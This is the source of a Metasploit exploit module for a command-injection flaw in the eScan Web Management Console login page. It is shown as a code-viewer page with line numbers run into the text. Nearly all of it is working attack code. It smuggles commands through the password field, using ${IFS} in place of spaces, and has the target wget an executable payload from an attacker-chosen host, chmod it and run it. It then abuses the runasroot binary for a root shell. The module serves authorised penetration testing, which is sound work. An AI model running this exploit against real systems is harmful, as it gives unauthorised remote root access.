Path: blob/master/modules/exploits/linux/antivirus/escan_password_exec.rb
25612 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::Remote::HttpServer::HTML10include Msf::Exploit::EXE11include Msf::Exploit::FileDropper1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'eScan Web Management Console Command Injection',18'Description' => %q{19This module exploits a command injection vulnerability found in the eScan Web Management20Console. The vulnerability exists while processing CheckPass login requests. An attacker21with a valid username can use a malformed password to execute arbitrary commands. With22mwconf privileges, the runasroot utility can be abused to get root privileges. This module23has been tested successfully on eScan 5.5-2 on Ubuntu 12.04.24},25'License' => MSF_LICENSE,26'Author' => [27'Joxean Koret', # Vulnerability Discovery and PoC28'juan vazquez' # Metasploit module29],30'References' => [31[ 'CVE', '2014-125118' ],32[ 'URL', 'http://www.joxeankoret.com/download/breaking_av_software-pdf.tar.gz' ] # Syscan slides by Joxean33],34'Payload' => {35'BadChars' => '', # Real bad chars when injecting: "|&)(!><'\"` ", cause of it we're avoiding ARCH_CMD36'DisableNops' => true37},38'Arch' => ARCH_X86,39'Platform' => 'linux',40'Privileged' => true,41'Stance' => Msf::Exploit::Stance::Aggressive,42'Targets' => [43['eScan 5.5-2 / Linux', {}],44],45'DisclosureDate' => '2014-04-04',46'DefaultTarget' => 0,47'Notes' => {48'Stability' => [CRASH_SAFE],49'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],50'Reliability' => [REPEATABLE_SESSION]51}52)53)5455register_options(56[57Opt::RPORT(10080),58OptString.new('USERNAME', [ true, 'A valid eScan username' ]),59OptString.new('TARGETURI', [true, 'The base path to the eScan Web Administration console', '/']),60OptString.new('EXTURL', [ false, 'An alternative host to request the EXE payload from' ]),61OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),62OptString.new('WRITABLEDIR', [ true, 'A directory where we can write files', '/tmp' ]),63OptString.new('RUNASROOT', [ true, 'Path to the runasroot binary', '/opt/MicroWorld/sbin/runasroot' ]),64]65)66end6768def check69res = send_request_cgi({70'method' => 'GET',71'uri' => normalize_uri(target_uri.path.to_s, 'index.php')72})7374if res && (res.code == 200) && res.body =~ (/eScan WebAdmin/)75return Exploit::CheckCode::Detected76end7778Exploit::CheckCode::Unknown79end8081def cmd_exec(session, cmd)82case session.type83when /meterpreter/84print_warning('Use a shell payload in order to get root!')85when /shell/86o = session.shell_command_token(cmd)87o.chomp! if o88end89return '' if o.nil?9091return o92end9394# Escalating privileges here because runasroot only can't be executed by95# mwconf uid (196).96def on_new_session(session)97cmd_exec(session, "#{datastore['RUNASROOT'].shellescape} /bin/sh")98super99end100101def primer102@payload_url = get_uri103wget_payload104end105106def on_request_uri(cli, request)107print_status("Request: #{request.uri}")108if request.uri =~ /#{Regexp.escape(get_resource)}/109print_status('Sending payload...')110send_response(cli, @pl)111end112end113114def autofilter115true116end117118def exploit119@pl = generate_payload_exe120121@payload_url = ''122123if datastore['EXTURL'].blank?124begin125Timeout.timeout(datastore['HTTPDELAY']) { super }126rescue Timeout::Error => e127vprint_error(e.message)128end129else130@payload_url = datastore['EXTURL']131wget_payload132end133exec_payload134end135136# we execute in this way, instead of an ARCH_CMD137# payload because real badchars are: |&)(!><'"`[space]138def wget_payload139@dropped_elf = rand_text_alpha(rand(3..7))140command = "wget${IFS}#{@payload_url}${IFS}-O${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"141142print_status('Downloading the payload to the target machine...')143res = exec_command(command)144if res && res.code == 302 && res.headers['Location'] && res.headers['Location'] =~ /index\.php\?err_msg=password/145register_files_for_cleanup(File.join(datastore['WRITABLEDIR'], @dropped_elf))146else147fail_with(Failure::Unknown, "#{peer} - Failed to download the payload to the target")148end149end150151def exec_payload152command = "chmod${IFS}777${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)};"153command << File.join(datastore['WRITABLEDIR'], @dropped_elf)154155print_status('Executing the payload...')156exec_command(command, 1)157end158159def exec_command(command, timeout = 20)160send_request_cgi({161'method' => 'POST',162'uri' => normalize_uri(target_uri.path.to_s, 'login.php'),163'vars_post' => {164'uname' => datastore['USERNAME'],165'pass' => ";#{command}",166'product_name' => 'escan',167'language' => 'English',168'login' => 'Login'169}170}, timeout)171end172end173174175